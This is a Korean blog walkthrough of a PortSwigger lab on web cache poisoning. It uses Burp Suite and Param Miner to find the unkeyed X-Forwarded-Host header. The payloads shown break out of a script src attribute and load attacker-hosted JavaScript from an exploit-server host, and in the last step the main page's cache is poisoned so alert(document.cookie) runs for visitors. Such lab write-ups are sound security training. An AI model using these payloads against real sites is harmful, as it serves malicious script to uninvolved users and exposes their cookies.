문제 링크
https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header
목표 & 도구
목표: 캐시 포이즈닝 취약점을 이용하여 방문자의 브라우저에서 alert(document.cookie)를 실행되도록 하는 것입니다.
사용도구: Burp Suite + Param Miner(Extension)
사전 지식
- 웹 캐시 포이즈닝(Web Cache Poisoning)
캐시 서버에 악의적인 응답을 저장시켜서 해당 캐시를 받는 타 사용자에게 공격을 수행하는 공격 기법입니다.
- 캐시 키(Cache Key)
캐시 서버가 요청을 식별할 때 사용하는 고유한 값입니다. 캐시 서버는 모든 헤더를 캐시 키로 사용하지 않고 일부 헤더만 캐시 키로 사용합니다.
- Unkeyed 헤더
캐시 키에서 제외된 헤더를 말합니다. 캐시 키로 사용되지 않지만 백엔드에서는 해당 헤더를 읽고 응답을 생성할 수 있기 때문에 캐시 포이즈닝 공격에 사용될 수 있습니다.
- Cache-Control 헤더
- max-age: 캐시 유지 시간을 나타냅니다.
- Age 헤더
- 캐시 된 후 얼마나 지났는지 초 단위로 나타냅니다.
- X-Cache 헤더
- hit: 응답이 캐시에서 제공되었음을 의미합니다. (백엔드 도달 X)
- miss: 응답이 원본 서버(백엔드)에서 왔음을 의미합니다.(백엔드 도달 O)
ex) 응답 헤더(Response Header)
Cache-Control: max-age=30 -> 30초 동안 캐시를 유지합니다.
Age: 0 -> 캐시 된 시간을 나타냅니다.
X-Cache: miss -> 백엔드 서버 도달 O
Cache-Control: max-age=30 -> 30초 동안 캐시를 유지합니다.
Age: 5 -> 캐시 된 지 5초 지났음을 의미합니다.
X-Cache: hit -> 백엔드 서버 도달 X
- 캐시 버스터(Cache Buster)
웹 브라우저나 프록시 서버가 이전에 저장된 캐시를 사용하지 않고 서버로부터 최신 버전의 리소스를 강제로 받도록 하는 기술을 말합니다. 캐시 포이즈닝 공격을 테스트할 때 실제 운영 중인 페이지가 오염되면 다른 사용자에게 피해가 발생할 수 있기 때문에
?test=1234와 같이 임의의 파라미터를 추가해서 별도의 캐시 키를 생성해서 사용합니다.
[캐시 버스터 사용 X]
테스트하는 사람 -> / + 캐시 포이즈닝 공격
타 사용자 -> 메인 홈페이지(/) 접속 시 캐시 포이즈닝으로 인한 공격 영향받음.
[캐시 버스터 사용 O]
테스트하는 사람 -> /?test=1234 + 캐시 포이즈닝 공격
타 사용자 -> 메인 홈페이지(/) 접속 시 캐시 포이즈닝 공격으로 인한 공격 영향 안 받음.
문제 풀이 - https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header
- 문제 사이트에 접속하여 문제를 확인합니다. 해당 LAB은 unkeyed 헤더의 입력을 안전하지 않은 방식으로 처리를 하고 있어 웹 캐시 포이즈닝 취약점이 존재한다고 합니다. 문제를 해결하기 위해선 방문자의 브라우저에서 캐시 포이즈닝 공격을 통해 alert(document.cookie)가 실행 되도록 해야 한다는 것을 알 수 있습니다.

- LAB의 접속했을 때의 요청 및 응답을 Burp Suite를 사용해 취득하여 확인해 보면 응답 헤더에 Cache-Control, Age, X-Cache 헤더가 있는 것을 확인합니다.

- 실제 캐시를 오염시키면 타 사용자에게 피해가 발생할 수 있기 때문에 테스트를 할 때 캐시 버스터(Cache Buster)를 사용합니다.

- 캐시 버스터를 사용해서 요청을 보낸 뒤 캐시가 유지되는 시간인 30초 이내에 동일한 경로와 파라미터로 다시 요청을 해보면 캐시 된 시간인 Age가 1초 지났다는 것과 X-Cache가 hit이기 때문에 캐시가 정상적으로 동작하고 있음을 알 수 있습니다.

- 문제에서 unkeyed 헤더로 인한 취약점 있다고 명시해 줬기 때문에 unkeyed 헤더를 찾기 위해 Burp Extension에서 제공하는 Param Miner를 사용합니다.(커뮤니티 버전도 무료 다운로드 가능합니다.) Proxy > HTTP history에서 /?test=1234 경로로 접근할 때의 요청에 마우스를 올리고 우클릭 > Extensions > Param Miner > Guess headers를 클릭합니다.
+) Param Miner를 사용하지 않고 수동으로도 테스트가 가능합니다

- Attack Config 창이 화면에 보이면 poison only에 체크하고 ok를 클릭합니다. (poison only 옵션은 캐시 포이즈닝 취약점을 집중적으로 찾아내도록 설정하는 옵션입니다.)

- Burp의 Extensions > Installed 탭에 들어가서 아래의 Output을 확인합니다.

- 시간이 지나면 unkeyed인 헤더를 찾을 수 있으며 X-Forwarded-Host 헤더가 unkeyed 헤더인 것을 알아냅니다.

- Burp Suite의 Repeater 기능을 이용하여 /?test=1234에 요청을 보낼 때 요청 헤더에 unkeyed 헤더인 X-Forwarded-Host를 삽입하고 헤더 값은 임의의 값으로 설정하여 요청을 보냅니다. 이후 응답을 확인해 보면 js 파일을 가져올 때 host 부분이 X-Forwarded-Host에 입력했던 헤더 값(임의의 값)으로 되어 있는 것을 확인할 수 있습니다.
+) 이때의 X-Cache는 miss입니다.
X-Forwarded-Host 헤더가 백엔드에서 처리되기 때문에 응답에 반영되며 이것이 캐시에 저장됩니다.

- 캐시가 만료되기 전에 웹 페이지 URL 주소창에 /?test=1234 을 입력하여 접근합니다.

- 접근했을 때의 요청 및 응답을 확인해 보면 X-Forwarded-Host 헤더를 추가하지 않았는데 이전에 입력했던 임의의 값이 host로 들어가는 js 파일을 가져오고 있는 것을 볼 수 있습니다.
+) 이때의 X-Cache는 hit입니다.
X-Forwarded-Host 헤더가 처리된 응답이 캐시에 저장되어 있기 때문에 캐시 된 응답을 받게 됩니다.

- 다시 Burp Repeater로 돌아와서 X-Forwarded-Host 헤더 값을 이용하여 script 태그의 src 속성 값을 사용자가 임의로 끊어서 다른 스크립트를 로드할 수 있는지 확인합니다.
[페이로드(입력 값)]
| 페이로드: X-Forwarded-Host: test1234"><" [설명] 사용자가 X-Forwarded-Host 헤더를 설정하고 응답을 받으면 아래와 같은 응답을 받게 됩니다. <script type="~" src="//{X-Forwarded-Host 헤더 값}/resources/js/tracking.js"> 페이로드를 입력하고 응답을 보면 <script type="~" src="//test1234"><"/resources/js/tracking.js">이 되면서 src="//test1234"에서 파일을 가져오려고 시도하게 됩니다. |

- 이때 캐시가 만료되기 전에 /?test=1234로 사용자가 접근했을 때의 HTTP History를 보게 되면 캐시 된 응답이 script 태그에 담겨오고 있는 것을 볼 수 있으며 <script type="~" src="//test1234"><"/resources/js/tracking.js">이 되어 https://test1234/ 에서 파일을 가져오려고 시도하고 있음을 알 수 있습니다.

- LAB에서 Go to exploit server를 클릭하여 접근합니다.

- Head에 Content-Type이 application/javascript 이며 문제 해결을 위해선 타 사용자가 방문했을 때 alert(document.cookie)가 실행되어야 하기 때문에 Body에 해당 스크립트를 삽입합니다. 이후 Store를 클릭하여 내용들을 저장합니다. (스크립트 저장된 경로: https://{exploit_server_id}.exploit-server.net/exploit)

- Burp Repeater로 돌아와서 X-Forwarded-Host 헤더 값을 이전 단계에서 스크립트를 삽입했던 경로인 {exploit_server_id}.exploit-server.net/exploit 으로 입력하고 요청을 보냅니다. 응답을 보면 src 속성이 스크립트가 저장된 페이지에 접근하도록 되어있는 것을 볼 수 있습니다.
[페이로드(입력 값)]
| 페이로드: X-Forwarded-Host: {exploit_server_id}.exploit-server.net/exploit"><" [설명] 사용자가 X-Forwarded-Host 헤더를 설정하고 응답을 받으면 아래와 같은 응답을 받게 됩니다. <script type="~" src="//{X-Forwarded-Host 헤더 값}/resources/js/tracking.js"> 페이로드를 입력하고 응답을 보면 <script type="~" src="//{exploit_server_id}.exploit-server.net/exploit"><"/resources/js/tracking.js">이 되면서 문법을 파괴하지 않고 src 속성으로 인해 스크립트가 저장되어 있는 {exploit_server_id}.exploit-server.net/exploit 경로로 접근하게 됩니다. |

- 캐시가 만료되기 전에 웹 페이지에 접속하여 /?test=1234 경로로 접근을 합니다.

- alert 창이 화면에 나오면서 스크립트가 실행되는 것을 확인할 수 있으며 캐시 포이즈닝 공격에 성공했음을 알 수 있습니다. 이때 캐시 버스터를 사용하면 문제가 solve 처리되지 않기 때문에 실제 공격을 할 때는 캐시 버스터 없이 진행합니다.

- 캐시 버스터 없이 X-Forwarded-Host 헤더 값을 설정합니다. 이때 중요한 점은 X-Cache가 miss 여야 정상적으로 동작합니다.
[페이로드(입력 값)]
| 페이로드: X-Forwarded-Host: {exploit_server_id}.exploit-server.net/exploit"><" |

- 캐시가 만료되기 전에 다시 메인 홈페이지에 접근합니다.

- alert 함수가 호출되는 것을 확인하고 확인을 클릭합니다.

- 문제에서 요구하는 alert(document.cookie)가 성공적으로 실행됐기 때문에 해당 LAB 문제를 성공적으로 풀게 됩니다.

'[WEB] CTF & Wargame > PortSwigger Web Security Academy' 카테고리의 다른 글
| Lab: SSRF with blacklist-based input filter (0) | 2026.06.23 |
|---|---|
| Lab: SSRF with filter bypass via open redirection vulnerability (0) | 2026.06.21 |
| Lab: SQL injection UNION attack, retrieving multiple values in a single column (0) | 2026.06.18 |
| Lab: Blind SQL injection with time delays and information retrieval (1) | 2026.04.25 |
| Lab: Blind SQL injection with conditional errors (0) | 2026.03.27 |
| Lab: Blind SQL injection with time delays (0) | 2026.03.24 |